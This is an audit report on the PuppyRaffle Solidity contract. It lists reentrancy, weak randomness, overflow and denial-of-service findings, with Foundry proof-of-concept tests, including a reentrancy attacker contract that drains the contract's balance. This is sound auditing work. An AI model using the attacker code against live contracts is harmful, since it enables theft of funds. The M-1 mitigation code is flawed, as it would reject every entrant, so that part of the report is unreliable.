

Protocol Audit Report

Version 1.0

Bobby's Investigations

April 14, 2024

Protocol Audit Report

Bobby William Major

14 April, 2024

Prepared by: Bobby William Major Lead Security Researcher:

- Bobby William Major

Table of Contents

- Table of Contents
- Protocol Summary
- Disclaimer
- Risk Classification
- Audit Details
 - Scope
 - Roles
- Executive Summary
 - Issues found
- Findings
- High
- Medium
- Low
- Informational
- Gas

Protocol Summary

This project is to enter a raffle to win a cute dog NFT. The protocol should do the following:

1. Call the `enterRaffle` function with the following parameters:
 1. `address[] participants`: A list of addresses that enter. You can use this to enter yourself multiple times, or yourself and a group of your friends.
2. Duplicate addresses are not allowed
3. Users are allowed to get a refund of their ticket & `value` if they call the `refund` function
4. Every X seconds, the raffle will be able to draw a winner and be minted a random puppy
5. The owner of the protocol will set a `feeAddress` to take a cut of the `value`, and the rest of the funds will be sent to the winner of the puppy.

Disclaimer

The Bobby's Investigations team makes all effort to find as many vulnerabilities in the code in the given time period, but holds no responsibilities for the findings provided in this document. A security audit by the team is not an endorsement of the underlying business or product. The audit was time-boxed and the review of the code was solely on the security aspects of the Solidity implementation of the contracts.

Risk Classification

		Impact		
		High	Medium	Low
Likelihood	High	H	H/M	M
	Medium	H/M	M	M/L
	Low	M	M/L	L

We use the CodeHawks severity matrix to determine severity. See the documentation for more details.

Audit Details

- Commit Hash: e30d199697bbc822b646d76533b66b7d529b8ef5
- In Scope:

Scope

```
1 ./src/  
2 #-- PuppyRaffle.sol
```

Roles

Owner - Deployer of the protocol, has the power to change the wallet address to which fees are sent through the `changeFeeAddress` function. Player - Participant of the raffle, has the power to enter the raffle with the `enterRaffle` function and refund value through `refund` function.

Executive Summary

I love myself.

Issues found

Severity	Number of issues found
High	3
Medium	3
Low	1
Info	6
Gas Optimizations	2
Total	15

Findings

High

[H-1] Reentrancy attack in `PuppyRaffle::refund` allows entrant to drain contract balance

Description: The `PuppyRaffle::refund` function does not follow CEI/FREI-PI and as a result, enables participants to drain the contract balance.

In the `PuppyRaffle::refund` function, we first make an external call to the `msg.sender` address, and only after making that external call, we update the `players` array.

```
1 function refund(uint256 playerIndex) public {
2     address playerAddress = players[playerIndex];
3     require(playerAddress == msg.sender, "PuppyRaffle: Only the player
   can refund");
4     require(playerAddress != address(0), "PuppyRaffle: Player already
   refunded, or is not active");
5
6     @> payable(msg.sender).sendValue(entranceFee);
7
8     @> players[playerIndex] = address(0);
9     emit RaffleRefunded(playerAddress);
10 }
```

A player who has entered the raffle could have a `fallback/receive` function that calls the `PuppyRaffle::refund` function again and claim another refund. They could continue to cycle this until the contract balance is drained.

Impact: All fees paid by raffle entrants could be stolen by the malicious participant.

Proof of Concept:

1. Users enters the raffle.
2. Attacker sets up a contract with a `fallback` function that calls `PuppyRaffle::refund`.
3. Attacker enters the raffle
4. Attacker calls `PuppyRaffle::refund` from their contract, draining the contract balance.

Proof of Code:

Code

Add the following code to the `PuppyRaffleTest.t.sol` file.

```
1 contract ReentrancyAttacker {
2     PuppyRaffle puppyRaffle;
3     uint256 entranceFee;
```

```
4     uint256 attackerIndex;
5
6     constructor(address _puppyRaffle) {
7         puppyRaffle = PuppyRaffle(_puppyRaffle);
8         entranceFee = puppyRaffle.entranceFee();
9     }
10
11    function attack() external payable {
12        address[] memory players = new address[](1);
13        players[0] = address(this);
14        puppyRaffle.enterRaffle{value: entranceFee}(players);
15        attackerIndex = puppyRaffle.getActivePlayerIndex(address(this))
16        ;
17        puppyRaffle.refund(attackerIndex);
18    }
19
20    fallback() external payable {
21        if (address(puppyRaffle).balance >= entranceFee) {
22            puppyRaffle.refund(attackerIndex);
23        }
24    }
25
26    function testReentrance() public playersEntered {
27        ReentrancyAttacker attacker = new ReentrancyAttacker(address(
28            puppyRaffle));
29        vm.deal(address(attacker), 1e18);
30        uint256 startingAttackerBalance = address(attacker).balance;
31        uint256 startingContractBalance = address(puppyRaffle).balance;
32
33        attacker.attack();
34
35        uint256 endingAttackerBalance = address(attacker).balance;
36        uint256 endingContractBalance = address(puppyRaffle).balance;
37        assertEq(endingAttackerBalance, startingAttackerBalance +
38            startingContractBalance);
39        assertEq(endingContractBalance, 0);
40    }
```

Recommended Mitigation: To fix this, we should have the `PuppyRaffle::refund` function update the `players` array before making the external call. Additionally, we should move the event emission up as well.

```
1     function refund(uint256 playerIndex) public {
2         address playerAddress = players[playerIndex];
3         require(playerAddress == msg.sender, "PuppyRaffle: Only the
4             player can refund");
5         require(playerAddress != address(0), "PuppyRaffle: Player
6             already refunded, or is not active");
7         + players[playerIndex] = address(0);
```

```
6 +     emit RaffleRefunded(playerAddress);
7     (bool success,) = msg.sender.call{value: entranceFee}("");
8     require(success, "PuppyRaffle: Failed to refund player");
9 -     players[playerIndex] = address(0);
10 -    emit RaffleRefunded(playerAddress);
11 }
```

[H-2] Weak randomness in `PuppyRaffle::selectWinner` allows anyone to choose winner

Description: Hashing `msg.sender`, `block.timestamp`, `block.difficulty` together creates a predictable final number. A predictable number is not a good random number. Malicious users can manipulate these values or know them ahead of time to choose the winner of the raffle themselves.

Impact: Any user can choose the winner of the raffle, winning the money and selecting the “rarest” puppy, essentially making it such that all puppies have the same rarity, since you can choose the puppy.

Proof of Concept:

There are a few attack vectors here.

1. Validators can know ahead of time the `block.timestamp` and `block.difficulty` and use that knowledge to predict when / how to participate. See the solidity blog on [prevrando](#) here. `block.difficulty` was recently replaced with [prevrando](#).
2. Users can manipulate the `msg.sender` value to result in their index being the winner.

Using on-chain values as a randomness seed is a well-known attack vector in the blockchain space.

Recommended Mitigation: Consider using an oracle for your randomness like Chainlink VRF.

[H-3] Integer overflow of `PuppyRaffle::totalFees` loses fees

Description: In Solidity versions prior to 0.8.0, integers were subject to integer overflows.

```
1 uint64 myVar = type(uint64).max;
2 // myVar will be 18446744073709551615
3 myVar = myVar + 1;
4 // myVar will be 0
```

Impact: In `PuppyRaffle::selectWinner`, `totalFees` are accumulated for the `feeAddress` to collect later in `withdrawFees`. However, if the `totalFees` variable overflows, the `feeAddress` may not collect the correct amount of fees, leaving fees permanently stuck in the contract.

Proof of Concept:

1. We first conclude a raffle of 4 players to collect some fees.
2. We then have 89 additional players enter a new raffle, and we conclude that raffle as well.
3. `totalFees` will be:

```
1 totalFees = totalFees + uint64(fee);
2 // substituted
3 totalFees = 8000000000000000000 + 17800000000000000000;
4 // due to overflow, the following is now the case
5 totalFees = 153255926290448384;
```

4. You will now not be able to withdraw, due to this line in `PuppyRaffle::withdrawFees`:

```
1 require(address(this).balance ==
2   uint256(totalFees), "PuppyRaffle: There are currently players active!");
```

Although you could use `selfdestruct` to send ETH to this contract in order for the values to match and withdraw the fees, this is clearly not what the protocol is intended to do.

Proof Of Code

Place this into the `PuppyRaffleTest.t.sol` file.

```
1 function testTotalFeesOverflow() public playersEntered {
2     // We finish a raffle of 4 to collect some fees
3     vm.warp(block.timestamp + duration + 1);
4     vm.roll(block.number + 1);
5     puppyRaffle.selectWinner();
6     uint256 startingTotalFees = puppyRaffle.totalFees();
7     // startingTotalFees = 8000000000000000000
8
9     // We then have 89 players enter a new raffle
10    uint256 playersNum = 89;
11    address[] memory players = new address[](playersNum);
12    for (uint256 i = 0; i < playersNum; i++) {
13        players[i] = address(i);
14    }
15    puppyRaffle.enterRaffle{value: entranceFee * playersNum}(
16        players);
17    // We end the raffle
18    vm.warp(block.timestamp + duration + 1);
19    vm.roll(block.number + 1);
20
21    // And here is where the issue occurs
22    // We will now have fewer fees even though we just finished a
23    // second raffle
24    puppyRaffle.selectWinner();
25
26    uint256 endingTotalFees = puppyRaffle.totalFees();
27    console.log("ending total fees", endingTotalFees);
```



```
26     assert(endingTotalFees < startingTotalFees);
27
28     // We are also unable to withdraw any fees because of the
        require check
29     vm.prank(puppyRaffle.feeAddress());
30     vm.expectRevert("PuppyRaffle: There are currently players
        active!");
31     puppyRaffle.withdrawFees();
32 }
```

Recommended Mitigation: There are a few recommended mitigations here.

1. Use a newer version of Solidity that does not allow integer overflows by default.

```
1 - pragma solidity ^0.7.6;
2 + pragma solidity ^0.8.18;
```

Alternatively, if you want to use an older version of Solidity, you can use a library like OpenZeppelin's [SafeMath](#) to prevent integer overflows.

2. Use a `uint256` instead of a `uint64` for `totalFees`.

```
1 - uint64 public totalFees = 0;
2 + uint256 public totalFees = 0;
```

3. Remove the balance check in `PuppyRaffle::withdrawFees`

```
1 - require(address(this).balance == uint256(totalFees), "PuppyRaffle:
        There are currently players active!");
```

We additionally want to bring your attention to another attack vector as a result of this line in a future finding.

Medium

[M-1] Looping through players array to check for duplicates in

`PuppyRaffle::enterRaffle` is a potential denial of service (DoS) attack, incrementing gas costs for future entrants.

Description **Description:** The `PuppyRaffle::enterRaffle` function loops through the `players` array to check for duplicates. However, the longer the `PuppyRaffle:players` array is, the more checks a new player will have to make. This means that the gas costs for players who enter right when the raffle starts will be dramatically lower than those who enter later. Every additional address in the `players` array, is an additional check the loop will have to make.

```
1 // Check for duplicates
2 @> for (uint256 i = 0; i < players.length - 1; i++) {
3     for (uint256 j = i + 1; j < players.length; j++) {
4         require(players[i] != players[j], "PuppyRaffle:
5             Duplicate player");
6     }
7 }
```

Impact

1. The gas costs for raffle entrants will greatly increase as more players enter the raffle.
2. Front-running opportunities are created for malicious users to increase the gas costs of other users, so their transaction fails.

Proof Of Concept

Place the following test into `PuppyRaffleTest.t.sol`

```
1 function test_denialOfService() public {
2     vm.txGasPrice(1);
3
4     // Lets enter 100 players
5     uint256 playersNum = 100;
6     address[] memory players = new address[](playersNum);
7     for (uint256 i = 0; i < playersNum; i++) {
8         players[i] = address(i);
9     }
10
11     // see how much gas it costs
12     uint256 gasStart = gasleft();
13     puppyRaffle.enterRaffle{value: entranceFee * players.length}(
14         players);
15     uint256 gasEnd = gasleft();
16     uint256 gasUsedFirst = (gasStart - gasEnd) * tx.gasprice;
17     console.log("Gas cost of the first 100 players: ", gasUsedFirst
18         );
19
20     // now for the second 100 players
21     address[] memory playersTwo = new address[](playersNum);
22     for (uint256 i = 0; i < playersNum; i++) {
23         playersTwo[i] = address(i + playersNum);
24     }
25
26     // see how much gas it costs
27     uint256 gasStartSecond = gasleft();
28     puppyRaffle.enterRaffle{value: entranceFee * playersTwo.length
29         }(playersTwo);
30     uint256 gasEndSecond = gasleft();
31     uint256 gasUsedSecond = (gasStartSecond - gasEndSecond) * tx.
32         gasprice;
33 }
```

```
29     console.log("Gas cost of the second 100 players: ",
30                 gasUsedSecond);
31     assert(gasUsedFirst < gasUsedSecond);
32 }
```

Recommended mitigation

1. Consider allowing duplicates. Users can make new wallet addresses anyways, so a duplicate check doesn't prevent the same person from entering multiple times, only the same wallet address.
2. Consider using a mapping to check duplicates. This would allow you to check for duplicates in constant time, rather than linear time. You could have each raffle have a `uint256` id, and the mapping would be a player address mapped to the raffle id.

```
1 + mapping(address => uint256) public addressToRaffleId;
2 + uint256 public raffleId = 0;
3 .
4 .
5 .
6 function enterRaffle(address[] memory newPlayers) public payable {
7     require(msg.value == entranceFee * newPlayers.length, "
8         PuppyRaffle: Must send enough to enter raffle");
9     for (uint256 i = 0; i < newPlayers.length; i++) {
10 +         players.push(newPlayers[i]);
11 +         addressToRaffleId[newPlayers[i]] = raffleId;
12     }
13 -     // Check for duplicates
14 +     // Check for duplicates only from the new players
15 +     for (uint256 i = 0; i < newPlayers.length; i++) {
16 +         require(addressToRaffleId[newPlayers[i]] != raffleId, "
17 +         PuppyRaffle: Duplicate player");
18 -     }
19 -     for (uint256 i = 0; i < players.length; i++) {
20 -         for (uint256 j = i + 1; j < players.length; j++) {
21 -             require(players[i] != players[j], "PuppyRaffle:
22 -             Duplicate player");
23 -         }
24 -     }
25     emit RaffleEnter(newPlayers);
26 }
27 .
28 function selectWinner() external {
29 +     raffleId = raffleId + 1;
30     require(block.timestamp >= raffleStartTime + raffleDuration, "
31         PuppyRaffle: Raffle not over");
```

Alternatively, you could use OpenZeppelin's `EnumerableSet` library.

[M-2] Unsafe cast of `PuppyRaffle::fee` loses fees

Description: In `PuppyRaffle::selectWinner` there is a type cast of a `uint256` to a `uint64`. This is an unsafe cast, and if the `uint256` is larger than `type(uint64).max`, the value will be truncated.

```
1  function selectWinner() external {
2      require(block.timestamp >= raffleStartTime + raffleDuration, "
3          PuppyRaffle: Raffle not over");
4      require(players.length > 0, "PuppyRaffle: No players in raffle"
5          );
6      uint256 winnerIndex = uint256(keccak256(abi.encodePacked(msg.
7          sender, block.timestamp, block.difficulty))) % players.
8          length;
9      address winner = players[winnerIndex];
10     uint256 fee = totalFees / 10;
11     uint256 winnings = address(this).balance - fee;
12 @>    totalFees = totalFees + uint64(fee);
13     players = new address[] (0);
14     emit RaffleWinner(winner, winnings);
15 }
```

The max value of a `uint64` is 18446744073709551615. In terms of ETH, this is only ~18 ETH. Meaning, if more than 18ETH of fees are collected, the `fee` casting will truncate the value.

Impact: This means the `feeAddress` will not collect the correct amount of fees, leaving fees permanently stuck in the contract.

Proof of Concept:

1. A raffle proceeds with a little more than 18 ETH worth of fees collected
2. The line that casts the `fee` as a `uint64` hits
3. `totalFees` is incorrectly updated with a lower amount

You can replicate this in foundry's chisel by running the following:

```
1  uint256 max = type(uint64).max
2  uint256 fee = max + 1
3  uint64(fee)
4  // prints 0
```

Recommended Mitigation: Set `PuppyRaffle::totalFees` to a `uint256` instead of a `uint64`, and remove the casting. There is a comment which says:

```
1 // We do some storage packing to save gas
```

But the potential gas saved isn't worth it if we have to recast and this bug exists.

```
1 - uint64 public totalFees = 0;
2 + uint256 public totalFees = 0;
3 .
4 .
5 .
6     function selectWinner() external {
7         require(block.timestamp >= raffleStartTime + raffleDuration, "
            PuppyRaffle: Raffle not over");
8         require(players.length >= 4, "PuppyRaffle: Need at least 4
            players");
9         uint256 winnerIndex =
10             uint256(keccak256(abi.encodePacked(msg.sender, block.
                timestamp, block.difficulty))) % players.length;
11         address winner = players[winnerIndex];
12         uint256 totalAmountCollected = players.length * entranceFee;
13         uint256 prizePool = (totalAmountCollected * 80) / 100;
14         uint256 fee = (totalAmountCollected * 20) / 100;
15 -         totalFees = totalFees + uint64(fee);
16 +         totalFees = totalFees + fee;
```

[M-3] Smart Contract wallet raffle winners without a receive or a fallback will block the start of a new contest

Description: The `PuppyRaffle::selectWinner` function is responsible for resetting the lottery. However, if the winner is a smart contract wallet that rejects payment, the lottery would not be able to restart.

Non-smart contract wallet users could reenter, but it might cost them a lot of gas due to the duplicate check.

Impact: The `PuppyRaffle::selectWinner` function could revert many times, and make it very difficult to reset the lottery, preventing a new one from starting.

Also, true winners would not be able to get paid out, and someone else would win their money!

Proof of Concept:

1. 10 smart contract wallets enter the lottery without a fallback or receive function.
2. The lottery ends
3. The `selectWinner` function wouldn't work, even though the lottery is over!

Recommended Mitigation: There are a few options to mitigate this issue.

1. Do not allow smart contract wallet entrants (not recommended)
2. Create a mapping of addresses -> payout so winners can pull their funds out themselves, putting the owness on the winner to claim their prize. (Recommended)

Low

[L-1] `PuppyRaffle::getActivePlayerIndex` returns 0 for non-existent players and for

players at index 0, causing a player at index 0 to incorrectly think they may entered the raffle

Description: If a player in the `PuppyRaffle::players` array at index 0, this will return 0, but according to the natspec, it will also return 0 if the player is not in the array.

```
1  /// @return the index of the player in the array, if they are not
    active, it returns 0
2  function getActivePlayerIndex(address player) external view returns (
    uint256) {
3      for (uint256 i = 0; i < players.length; i++) {
4          if (players[i] == player) {
5              return i;
6          }
7      }
8      return 0;
9  }
```

Impact: A player at index 0 to incorrectly think they may entered the raffle and attempt to enter the raffle again, wasting gas.

Proof of Concept: The easiest recommendation would be to revert if the player not in the array instead of returning 0

You could also $2^{256}-1$ (or any other sufficiently high number) to signal that the given player is inactive, so as to avoid collision with indices of active players.

1. User enters the raffle, they are first entrant
2. `PuppyRaffle::getActivePlayerIndex` returns 0
3. User thinks they have not entered correctly due to the function documentation

Recommended Mitigation:

Gas

[G-1] Unchanged state variables should be declared constant or immutable.

Reading from storage is much more expensive than reading from a constant or immutable variable.

Instances:

- `PuppyRaffle::raffleDuration` should be `immutable`
- `PuppyRaffle::commonImageUri` should be `constant`
- `PuppyRaffle::rareImageUri` should be `constant`
- `PuppyRaffle::legendaryImageUri` should be `constant`

[G-2] Storage variables in a loop should be cached

Everytime you call `players.length` you read from storage, as opposed to memory which is gas efficient

```
1 + uint256 playersLength = players.length;
2 - for (uint256 i = 0; i < players.length - 1; i++) {
3 + for (uint256 i = 0; i < playersLength - 1; i++) {
4 -     for (uint256 j = i + 1; j < players.length; j++) {
5 +     for (uint256 j = i + 1; j < playersLength; j++) {
6         require(players[i] != players[j], "PuppyRaffle:
           Duplicate player");
7     }
8 }
```

Informational / Non-Critical

[I-1] Using an outdated version of Solidity is not recommended.

Description solc frequently releases new compiler versions. Using an old version prevents access to new Solidity security checks. We also recommend avoiding complex pragma statement.

Recommendation Deploy with a recent version of Solidity (at least 0.8.0) with no known severe issues.

Use a simple pragma version that allows any of these versions. Consider using the latest version of Solidity for testing.

Please see slither documentation for more info

[I-2]: Missing checks for address (0) when assigning values to address state variables

Check for `address(0)` when assigning values to address state variables.

- Found in `src/PuppyRaffle.sol` Line: 67

```
1 feeAddress = _feeAddress;
```

- Found in src/PuppyRaffle.sol Line: 202

```
1 feeAddress = newFeeAddress;
```

[I-3] PuppyRaffle::_selectWinner does not follow CEI, which is not the best practise

It's best to keep code clean and follow CEI (Checks, Effects, Interactions)

```
1 - (bool success,) = winner.call{value: prizePool}("");
2 - require(success, "PuppyRaffle: Failed to send prize pool to
   winner");
3   _safeMint(winner, tokenId);
4 + (bool success,) = winner.call{value: prizePool}("");
5 + require(success, "PuppyRaffle: Failed to send prize pool to
   winner");
```

[I-4] Magic Numbers

Description: All number literals should be replaced with constants. This makes the code more readable and easier to maintain. Numbers without context are called “magic numbers”.

Recommended Mitigation: Replace all magic numbers with constants.

```
1 + uint256 public constant PRIZE_POOL_PERCENTAGE = 80;
2 + uint256 public constant FEE_PERCENTAGE = 20;
3 + uint256 public constant TOTAL_PERCENTAGE = 100;
4 .
5 .
6 .
7 - uint256 prizePool = (totalAmountCollected * 80) / 100;
8 - uint256 fee = (totalAmountCollected * 20) / 100;
9   uint256 prizePool = (totalAmountCollected *
   PRIZE_POOL_PERCENTAGE) / TOTAL_PERCENTAGE;
10  uint256 fee = (totalAmountCollected * FEE_PERCENTAGE) /
   TOTAL_PERCENTAGE;
```

[I-5] PuppyRaffle::_isActivePlayer is never used and should be removed

Description: The function `PuppyRaffle::_isActivePlayer` is never used and should be removed.


```
1 - function _isActivePlayer() internal view returns (bool) {
2 -     for (uint256 i = 0; i < players.length; i++) {
3 -         if (players[i] == msg.sender) {
4 -             return true;
5 -         }
6 -     }
7 -     return false;
8 - }
```

[I-6]: Solidity pragma should be specific, not wide

Consider using a specific version of Solidity in your contracts instead of a wide version. For example, instead of `pragma solidity ^0.8.0;`, use `pragma solidity 0.8.0;`

- Found in src/PuppyRaffle.sol Line: 2

```
1 pragma solidity ^0.7.6;
```